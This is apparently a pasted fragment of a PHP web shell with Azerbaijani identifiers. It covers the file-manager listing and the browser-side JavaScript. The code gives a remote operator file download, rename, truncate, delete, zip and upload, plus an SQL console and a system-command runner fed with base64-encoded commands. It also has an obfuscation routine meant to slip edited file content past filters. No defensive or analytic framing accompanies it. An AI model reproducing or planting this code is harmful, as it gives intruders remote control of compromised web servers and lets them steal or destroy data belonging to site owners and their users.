  795.                     else if($element=="..")
  796.                     {
  797.                         $yeniUrl = explode("/",$default_dir);
  798.                         foreach(array_reverse($yeniUrl) AS $j=>$qq)
  799.                         {
  800.                             if(trim($qq)!="")
  801.                             {
  802.                                 unset($yeniUrl[count($yeniUrl)-$j-1]);
  803.                                 break;
  804.                             }
  805.                         }
  806.                         $url = "?qovluq=".urlencode(urlencode(shifrele(implode("/",$yeniUrl))));
  807.                     }
  808.                     else
  809.                     {
  810.                         $url = "?qovluq=".urlencode(urlencode(shifrele($faylAdiTam)));
  811.                     }
  812.                     $classN = " style='font-weight: 600;'";
  813.                 }
  814.                 else
  815.                 {
  816.                     $url = "?ne=fayl_oxu&fayl=".urlencode(urlencode(shifrele($element)))."&qovluq=".urlencode(urlencode(shifrele($default_dir)));
  817.                 }
  818.                 $fayldi = is_file($faylAdiTam);
  819.                 $isReadableColor = is_readable( $faylAdiTam ) && is_writeable( $faylAdiTam );
  820.                 print '<tr>
  821.                         <td></td>
  822.                         <td><a href="javascript:sehife(\''.$url.'\')"'.$classN.'>'.htmlspecialchars($adi).'</a></td>
  823.                         <td>' . ($fayldi?sizeFormat(filesize($faylAdiTam)):'') . '</td>
  824.                         <td>' . (date('d M Y, H:i' , filectime($faylAdiTam))) . '</td>
  825.                         <td>' . htmlspecialchars(fileowner($faylAdiTam)) . '</td>
  826.                         <td' . ($isReadableColor?' style="color: green;"':'') . '>' . substr(sprintf('%o', fileperms(( $faylAdiTam ))), -4) . '</td>
  827.                         <td>';
  828.                         if( is_file($faylAdiTam) )
  829.                         {
  830.                             print (' <a href="javascript:sehife(\''.str_replace("fayl_oxu","fayl_yukle",$url).'\')"'.$classN.'>Download</a> | ') .
  831.                                 (' <a href="javascript:changeFileName(\'' . htmlspecialchars($adi) . '\' , \''.str_replace("fayl_oxu","fayl_ad_deyish",$url).'\');"'.$classN.'>Rename</a> | ') .
  832.                                 (' <a href="javascript:faylSifirla(\''.str_replace("fayl_oxu","fayl_sifirla",$url).'\');"'.$classN.'>Truncate</a> | ') .
  833.                                 (' <a href="javascript:faylSil(\''.str_replace("fayl_oxu","fayl_sil",$url).'\')"'.$classN.'>Delete</a>');
  834.                         }
  835.                         else if( $adi != '[ . ]' && $adi != '[ .. ]' )
  836.                         {
  837.                             print (' <a href="javascript:ziple(\'' . urlencode(urlencode(shifrele($faylAdiTam))) . '\')"'.$classN.'>Zip</a> | ') .
  838.                                 (' <a href="javascript:silPapka(\'' . urlencode(urlencode(shifrele($faylAdiTam))) . '\')"'.$classN.'>Sil</a>');
  839.                         }
  840.                         print '</td>
  841.                     </tr>';
  842.             }
  843.         }
  844.         else
  845.         {
  846.             print "<div style='margin: 10px 0px;' class='qalin'>Permissions denided!</div>";
  847.         }
  848.     }
  849. }
  850. print "</tbody></table>";
  851. ?>
  852.  
  853. <hr>
  854. <a href="javascript:newFile();">Yeni fayl</a> | <a href="javascript:newPapka();">Yeni papka</a><br>
  855. <a href="javascript:sehife('?ne=sistem_kom&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>')">Icra edin</a><br>
  856. <a href="javascript:sehife('?ne=skl');">SQL</a><br>
  857.  
  858. <form method="POST" enctype="multipart/form-data">
  859.     <input type="hidden" name="ne" value="fayl_upl">
  860.     <input type="hidden" name="qovluq" value="<?=urlencode(shifrele($default_dir))?>">
  861.     <input type="file" name="ufayl">
  862.     <input type="submit" value="Upl">
  863. </form>
  864.  
  865. <form method="POST" id="post_form" style="display: none;"></form>
  866. <script>
  867. function sehife(url)
  868. {
  869.     var inputlar = "";
  870.     url = url.split("?");
  871.     if(typeof url[1]=="undefined") return;
  872.     url = url[1].split("&");
  873.     for(var n in url)
  874.     {
  875.         var keyAndValue = url[n].split("=");
  876.         if(typeof keyAndValue[1]=="undefined") continue;
  877.         inputlar+="<input name='"+keyAndValue[0]+"' value='"+keyAndValue[1]+"' type='hidden'>";
  878.     }
  879.     document.all("post_form").innerHTML = inputlar;
  880.     document.all("post_form").submit();
  881. }
  882. function faylSil(url)
  883. {
  884.     if( confirm('Eminsen atash?') )
  885.     {
  886.         sehife(url);
  887.     }
  888. }
  889. function faylSifirla(url)
  890. {
  891.     if( confirm('Eminsen atash?') )
  892.     {
  893.         sehife(url);
  894.     }
  895. }
  896. function changeFileName(name, url)
  897. {
  898.     var getNewName = prompt('Change file name:' , name);
  899.     if( getNewName )
  900.     {
  901.         sehife(url + "&new_name=" + getNewName);
  902.     }
  903. }
  904. function newFile()
  905. {
  906.     var getNewName = prompt('File name:');
  907.     if( getNewName )
  908.     {
  909.         sehife("?ne=fayl_yarat&ad=" + getNewName + "&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>");
  910.     }
  911. }
  912. function newPapka()
  913. {
  914.     var getNewName = prompt('File name:');
  915.     if( getNewName )
  916.     {
  917.         sehife("?ne=papka_yarat&ad=" + getNewName + "&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>");
  918.     }
  919. }
  920. function sistemKom()
  921. {
  922.     var komanda = document.getElementById('emr_et_atash').value;
  923.     if( komanda )
  924.     {
  925.         sehife("?ne=sistem_kom&kom=" + b64EncodeUnicode(komanda) + "&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>");
  926.     }
  927. }
  928. function skl_bas()
  929. {
  930.     var sklEmr = document.getElementById('skl_emr').value;
  931.    
  932.     sehife("?ne=skl&emr=" + b64EncodeUnicode(sklEmr));
  933. }
  934. function b64EncodeUnicode(str)
  935. {
  936.     return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,
  937.         function toSolidBytes(match, p1) {
  938.             return String.fromCharCode('0x' + p1);
  939.         }));
  940. }
  941. function goto()
  942. {
  943.     var dir = prompt('Dir:');
  944.     if( dir )
  945.     {
  946.         sehife("?qovluq=" + dir);
  947.     }
  948. }
  949. function ziple(qovluq)
  950. {
  951.     var dir = prompt('Dir:' , "<?=htmlspecialchars($default_dir)?>");
  952.     if( dir )
  953.     {
  954.         sehife("?ne=ziple&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>&zf=" + qovluq + "&save_to=" + b64EncodeUnicode(dir))
  955.     }
  956. }
  957. function silPapka(qovluq)
  958. {
  959.     if( confirm('Eminsen atash?') )
  960.     {
  961.         sehife("?ne=papka_sil&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>&zf=" + qovluq)
  962.     }
  963. }
  964. function shifrelee()
  965. {
  966.     var vall = document.getElementsByClassName('file_edit')[0].value;
  967.     var repp = ['a','i','e','s','l','b','u','o','p','h',"\\(","\\)","\\<","\\>","\\?","\\;","\\[","\\]","\\$"];
  968.     for(var s in repp)
  969.     {
  970.         var h = repp[s];
  971.         vall = vall.replace(new RegExp(h, 'g') , '|:'+s+':|');
  972.     }
  973.  
  974.     document.getElementsByClassName('file_edit')[0].value = vall;
  975. }
  976.  
  977. document.getElementById("emr_et_atash").addEventListener("keyup", function(event)
  978. {
  979.     event.preventDefault();
  980.     if (event.keyCode === 13)
  981.     {
  982.         sistemKom();
  983.     }
  984. });
  985. </script>
  986. </body>
  987. </html>
  988.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement